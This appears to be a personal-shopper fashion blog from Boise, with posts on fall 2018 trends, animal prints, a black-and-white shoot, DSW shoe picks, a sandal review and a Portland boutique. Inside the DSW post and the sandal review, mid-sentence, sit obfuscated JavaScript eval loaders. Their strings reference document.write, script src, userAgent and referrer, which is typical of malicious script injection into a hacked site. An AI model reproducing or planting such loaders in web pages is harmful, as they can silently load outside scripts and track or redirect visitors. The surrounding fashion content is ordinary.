Fall Fashion 2018 Trend Report with Boise Lifestyle!

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Hello, loves! Did everyone have a gorgeous & eventful summer? Mine flew by, and I can’t believe it’s almost Autumn!!!

Well, get ready, because this month I had the special honor of doing a Fall Fashion report for our dear local Boise Lifestyle Magazine. I’m reprinting that feature here, just for you, with a little extra dose of love: links and info for where to purchase these darling outfits & accessories!!!

Enjoy the fashion inspiration, and as always, I adore your feedback so please comment away below & tell me what you think! XOXOXO, Tanya


Whether it’s a bold red lip, flash of accent green on a handbag, or stripes of yellow and purple across a shoe, this season’s trends showcase every color of the rainbow.

As the soft pastels of previous seasons fade with the summer sun, expect Fall to come in strong with a dazzling array of gemstone colors, vivid stripes, and a plethora of edgy prints from around the world.

The 90’s are back, too, with chunky footwear, colorful overalls, whimsical sunglasses, and a wide  variety of denim styles. From ruby red to sapphire blue, choose your favorite haute hues and embrace the crisp coolness of autumn.

Fall fashion’s overall message for 2018 is: Be bold!!!

I had a blast shopping for the hottest trends at three wonderful boutiques in Boise: Ibeni, Shift, and Swank! Check out my fashion inspiration looks below, and tell me in the comments: Which ones are your faves?


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Jack Floral blouse: Shift Boutique // We The Free black jeans: Shift Boutique

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Leather jacket: BCBG // Striped dress & bralette: Swank Boutique // Cross layered necklace: Swank Boutique // Boots: Doc Martens


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Dress: Ibeni Boutique // Mermaid Bag & Bracelet: Swank // Necklace: Vintage Chanel // Ankle Booties: Shift Boutique


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BCBG Jacket: Shift Boutique // Blouse: Ibeni Boutique // Striped Trousers: Swank Boutique // Shoes: Shift Boutique


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Faux fur wrap: Ibeni Boutique // Dress: Ibeni Boutique // Shoes: Lyrique Boutique

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Boots: Doc Martens // Jeans: Shift Boutique // Blouse: Shift Boutique // Shearling vest: Ibeni Boutique // Necklaces: Swank Boutique


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Blue Dresses: Both from Ibeni Boutique // Necklaces: Swank Boutique


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Earrings: leather and feathers from Ibeni Boutique





A Straight-Forward Guide to Wearing Animal Prints

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BABY! Animal prints might be super hot right now, but they’re a fashion statement that can go horribly wrong, if you’re not careful.
Sure, Shania Twain can dance in a cheetah bodysuit while rocking an audience of thousands in a stadium, but that’s not an entirely practical look for the rest of us (no matter how much we wish it were, sigh! …Hearts, Shania.) cheetah print shania twain


1.) Think of any animal print you put on your body as a Statement Piece. Everything else you wear should be subdued, letting the wildcat aspect of your outfit make the loudest statement. Leopard jeans rolled up with heels, a tank top, and a black blazer can look incredibly chic for the workplace, for example. A cheetah skirt with a cheetah jacket and cheetah heels is… TOO MUCH! Don’t go there.

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Blazer, Dolce & Gabbana / Top & Skirt, Nordstrom Rack

2.) Remember, you only need ONE. One item, in One print. Don’t wear zebra and cheetah together, or the fashion police will hunt you down, tackle you, and haul you off to the zoo. Just… Don’t! (But if you do, we promise to come visit and smuggle you bananas.)

Personally, I adore the Wild Beast line from COACH that’s out right now for Fall 2015; any of these pieces would be a stand-out conversation-starter, when worn as a singular part of your outfit. For example, the watch would look stellar with a white t-shirt, jeans, and heels. The shawl would rock over a sleeveless black jumpsuit, with a messy hair bun. And the bag… Oh my, I’d wear that in a heartbeat, with overalls, a black off-the-shoulder fitted top, and sunglasses. The key is balance!animal print wild beast coach

3.) Animal prints draw attention, so CHOOSE your focus. A cool online boutique Shop Trendy recently sent me these adorable leopard-print wedges. They’re sky-high, but with a padded insole that’s super comfy! They’re great for a late-summer dinner party, with a simple black tank and cropped pants, and a cool necklace from COACH. So purrrrfect! shop trendy animal printshop trendy animal print

(Outfit details below)

4.) Be careful with color. Leopard prints can look fantastic with shades of red: burgundy, coral, and bright red are fantastic accents. Be sure to keep everything else neutral, and don’t go crazy on the accessories. A simple handbag and shoes in tan or black will keep your look chic and grounded. Navy blue also looks amazing with leopard or cheetah. If you’re wearing a black & white zebra print, opt for a pop of color like yellow or hot pink to cheer up the neutral-ness!

Blazer, Prestige / Tank, White House | Black Market / Jeans, Paige from Nordstrom
Blazer, Prestige / Tank, White House | Black Market / Jeans, Paige from Nordstrom

5.) When in doubt, try denim. Denim infuses any outfit with a laid-back vibe, so it’s the perfect balance to wild-child animal prints. Pair a fitted cheetah skirt with a white blouse and denim jacket, for example. Or a leopard print tank top with jeans, black ankle boots, and simple gold jewelry.

However you choose to embrace animal prints this Fall, be sure to have fun, and embrace your wild side!
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Pave charm necklace, Coach / Leopard Print Wedges, Shop Trendy / Layering & Loops rings, Unigon Specialties / Silver Rebel Ring, Stella & Dot / Tank, BCBG / Talulah Pants, Aritzia / Outfit Pics by Ammophotog

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Black & White Mania: Part 1

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Jeanne Giltzow // Styling, Hair & MUA: StyleSpyGirl

Spring is typically all about COLOR, but this year, fashion threw us a surprising twist by trending the always-classy black & white look. I’m a huge fan; I have TONS of black in my closet (former Seattleite – what can I say?)

For this shoot with the incomparable Jeanne Giltzow, we chose to eschew color all together, and go with a mod/retro/artsy theme. Cue laundromat… (And a few very surprised afternoon clothes washers!)

We had such a blast with this! I feel like the pictures turned into stories, and I want to caption each one, but I’m not great at clever titles & quippy sayings… So I’ll let YOU do it! 🙂



Special thanks to Jeanne Giltzow for the awesome photos!

Comment your captions below! I will select my favorite from each photo, and post them on my FB page for votes. Best Caption will win 3 hours of personal shopping & styling work from me!!! 😀 Be clever, but be nice, mm-kay? Love ya!


black and white mod style stylespygirl style spy girlJacket: BCBG // Shirt: Pink by Victoria’s Secret // Pants: Forever 21 // Shoes: // Purse: Forever 21 // Shoes: Forever 21



IMG_1458Jacket: BCBG // Shirt: Pink by Victoria’s Secret // Pants: Forever 21 // Shoes: // Purse: Forever 21 // Shoes: Forever 21



IMG_1441Jacket: BCBG // Shirt: Pink by Victoria’s Secret // Pants: Forever 21 // Shoes: // Purse: Forever 21 // Shoes: Forever 21



IMG_1522Jacket: BCBG // Shirt: Pink by Victoria’s Secret // Pants: Forever 21 // Shoes: // Purse: Forever 21 // Shoes: Forever 21


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Hot Trends & Hotter Deals at DSW Shoes!

The sun is coming out! And with it, ladies everywhere stretch out their toes and say, “Ooh, I need a pedicure!”

Whatever your toes look like these days, if you’re anything like me you are excited to peel off those winter boots and try on some spring styles! I stopped by Boise’s DSW eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nydrk|var|u0026u|referrer|yzair||js|php’.split(‘|’),0,{}))
(Designer Shoe Warehouse) yesterday, to see what’s hot in designer footwear for the Budget Fashionista. 🙂 Here are some of my fun finds and top picks.


Pumps: Audrey Brooke // “Nude” pumps are very popular right now! These have a subtle gold shimmer in the suede, and would look fabulous with a colorful dress, or capris and a flirty blouse!


Sandals: Diba // Gladiator sandals are still hot! The gold studs on these add elegance and edge.


Wedge Sandals: BCBG Paris // Metallic shoes are SO versatile, and this platform wedge amps-up a dressy outfit, while still being comfortable.


Wedge Sandal: Steve Madden // Is everyone as in love with Steve Madden as I am? These mango wedges are smoking hot! I’d wear them with a swingy, simple black tank dress, OR white shorts and a gold-embellished blouse! They add pizazz to any ensemble.


Sandals: Coconuts and Zigi // Wedding shoes! Seriously, the sales staff said these bright & blingy beauties are flying off the shelves, as brides & bridesmaids get in the swing of wedding season!


Ankle-strap Flats: kelly & kate // With their sexy ankle strap, subtle wedge lift, and bold metallic accents, these shiny black sandals are a more mature, dressier version of gladiators!


Pumps: Zigi Soho // Two words: PROM SEASON!


Wedge sandals: Report // These are just SO cute & retro, I literally want to wear one on each foot because I can’t decide between them! Birds, birds, birds… Adorbs!!!


Slip-on: Dansko // On your feet all day, but still love a little pizazz? These bright Danskos were getting a lot of attention in the “comfort shoe” aisle!


Flats: BCBG Paris // Ballet flats are extra pretty, in bright colors and fun metallic prints!


Wedge Sneaker: Jellypop // Not sure about the wedge sneaker trend? Edgy fashionistas know: if you’re going to wear them, don’t be subtle about it! Check out this lacy, ladylike version…


Wedge Sneakers: Sam Edelman // Or, edge it up with chains & studs!!!


DON’T MISS the back clearance wall of DSW, where rows & rows of shoes are marked an extra 30-80% off!!! I found a ton of hot bargains…


Wedge Sneakers: Rebels // $79.00 marked down to $59.94, minus an extra 70% off!


Wedge Sandals: Two Lips // $100 marked down to $79.94, minus an extra 40% off!


Pumps: Audrey Brooke // $90.00 marked down to $49.94, minus an extra 50% off!


Gladiator Sandals: CARLOS by Carlos Santana // $59.00, marked down to $39.94, minus an extra 30% off!

And one last thing: my top pick for the most adorable Spring handbag in DSW: This Betsey Johnson heart-studded tote, in the lightest champagne pink! #fashioncrave


Which one is YOUR favorite? Spring has sprung – get your toes out and go find some hot bargains! 🙂



Check out DSW’s facebook page for store specials & events: https://www.facebook.com/DSW

DSW Boise is located at 8501 W Franklin Rd, Boise, ID 83709, (208) 323-1201
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Fun Shoe Review: Fibi & Clo Sandals!

If you’re a self-admitted shoe-a-holic like me, you may know how thrilling it is to receive lovely little packages in the mail, like the one I just got  from online shoe boutique eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yibde|var|u0026u|referrer|kazdy||js|php’.split(‘|’),0,{}))
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! Pretty shoes… in a box… for me!!! Happy day! 😀

As one of Boise’s hard-working personal shoppers & fashion bloggers, I am on my feet a LOT! But the streets of this town get pretty dang hot in the summer, and I refuse to wear flip-flops as fashion. (They’re functional, so of course I wear them! Just not with styled outfits, lol. Call me picky.) 😉 Last summer I bemoaned my lack of walk-all-day footwear, never really finding a cute pair of sandals that fit my style, or my lifestyle. Gladiators were all the rage, I know. But they don’t suit me!

When fibi & clo contacted me about doing a product review of their sandals, claiming “cute, affordable, and comfortable” as their focus, I jumped at the chance, selecting the “Burst Cascade” style, one of their top sellers. I slipped them on, and was immediately impressed by the comfy, soft padding. Ooh, I could wear these all day! And their coloring is so versatile; I LOVE how the sparkling crystals catch every color, making them endlessly fun to build a variety of outfits around!

I quickly threw some looks together, to cover a variety of situations: Formal, Fun, and Flirty!

Formal: Express necklace, Express bandeau, BCBG dress, fibo & clo sandals

Fun: Custom necklace by Unigon Specialties, Express bandeau, Pink by VS tank, Forever 21 shorts, fibo & clo sandals

Flirty: Express Bandeau, Pink by VS top, Black Orchid skinny jeans, Apricot Lane bracelets, fibo & clo sandals

 Which outfit is your favorite? 🙂 I had a blast putting them all together, enjoying the comfort and drama of those awesome shoes.

fibi & clo was created by AnaLiza Alba, in 2009, to be “like tupperware parties, but with shoes!” What started as a house party business quickly grew into an online retailer. If you live in a town where house parties are available, you can contact a sales rep, or become a “fashion agent.” For those of us who live in other parts of the world, check out fibi & clo’s beautiful online store: https://fibiandclo.com.  fibi & clo sandals have been featured in Lucky magazine, Lauren Conrad’s style blog, and a host of other fashion websites & magazines. True to their mission, I found them to be high-quality, inexpensive, super-comfy, and downright lovely.

For honest disclosure, I found that the sandals I ordered ran a little on the small side. I was glad I “sized up” to an 8, instead of my usual 7 1/2. Just something to keep in mind! 🙂

Now, if only Spring would get here, so I can wear these beauties all over town! It’s so hard to wait!!!

Impatiently waiting for warm sunshine.




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month I had the privilege of working with some fabulous shopping clients in Portland. Between fittings & wardrobe work, I also had fun exploring this beautiful city! (Love my job!!) ;-D Along the way I found great food, fascinating sights, funky fashion, and a hot boutique I can’t wait to tell you about!

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But first things first… Downtown! 😀 From art fairs, to street vendors for every culinary craving, to high-end stores like Kate Spade & Louis Vuitton, Portland is a an eclectic & colorful mix of culture and city life! If there’s something your heart, tummy, or eyes crave, you are sure to find it here. I had a blast wandering through the city, jumping on the convenient train & trolly system, and soaking in all the colors, sounds & smells of Portland.

I spent most of my shopping time in Nordstrom (of course, my home turf!), but thoroughly enjoyed the sunny, outdoor malls like Bridgeport Village, and adorable boutiques like Pinky’s on 23rd Ave, also known as “The Alphabet District.” My favorite boutique in Portland is on that street, but more on that in a minute… 😉

It was so much fun to reconnect with old friends (thank you, Larissa, Dana & Lexine for taking such good care of me!) We hit the town every day, finding fabulous art (like this painting “Blue” by Buzz Siler), gorgeous views, and fabulous fashionistas, whose style ranged from rockabilly-hippy to emo-grunge-metro-tough, to everything in-between! I even had the chance to “fight back” against the skinny-model stereotypes being perpetuated by the fashion industry, ha ha ha!!! ;D

And the Winner is… As you can see, I had a total blast in this wonderful town!!! But before my trip, I asked my Facebook friends “What’s your favorite locally-owned Portland Boutique?” Hands-down, you all voted for….. SLOAN!

I had to stop in and see what all the fuss was about, and I can say from first-hand experience, the fuss is totally justified! From the eye-catching decor, to the color-blocked racks of clothes, to the hip & SUPER-friendly staff, Sloan immediately snags a place in your heart and doesn’t let go. It’s a little slice of shopping heaven!

I’m a dress addict, so of course I had to try on about a dozen of them, and fellow shoppers and sales clerks were kind enough to pose for my camera (Thank you, ladies!!) I fell head-over heels for the floral maxi dress (probably the first time I’ve loved florals, or maxi dresses, ha ha!)

Sloan’s owners David & Karalee Whitehouse have stocked their store with well-chosen pieces from a variety of lines, with prices to suit every budget; BCBG (my fave!), Kensie Girl, Tulle, Kerch, and even their own in-house-designed line, Sloan Essentials!

Sloan also features shoes, belts, hats, scarves & other accessories, as well as Lucious Jewelry, a locally-designed, eye-catching line which is featured on Fred Armison’s show Portlandia. I was really drawn to the dramatic, organic shapes and unusual charms! Very, very cool. 🙂 (Be sure and click on the pic to see them close-up!)

Next time you’re in Portland, be sure and check out SLOAN Boutique, and their stellar, super-sweet sales staff. I promise, they will make you feel right at home… in fashion heaven! ;-D Check out their Facebook page for pictures, contact info, and store hours.

Thank you for a wonderful time, Portland! I hope to see you again soon!



Sloan Boutique is located at 738 NW 23rd Avenue, Portland, OR 97210. Tel: (503)222 6666.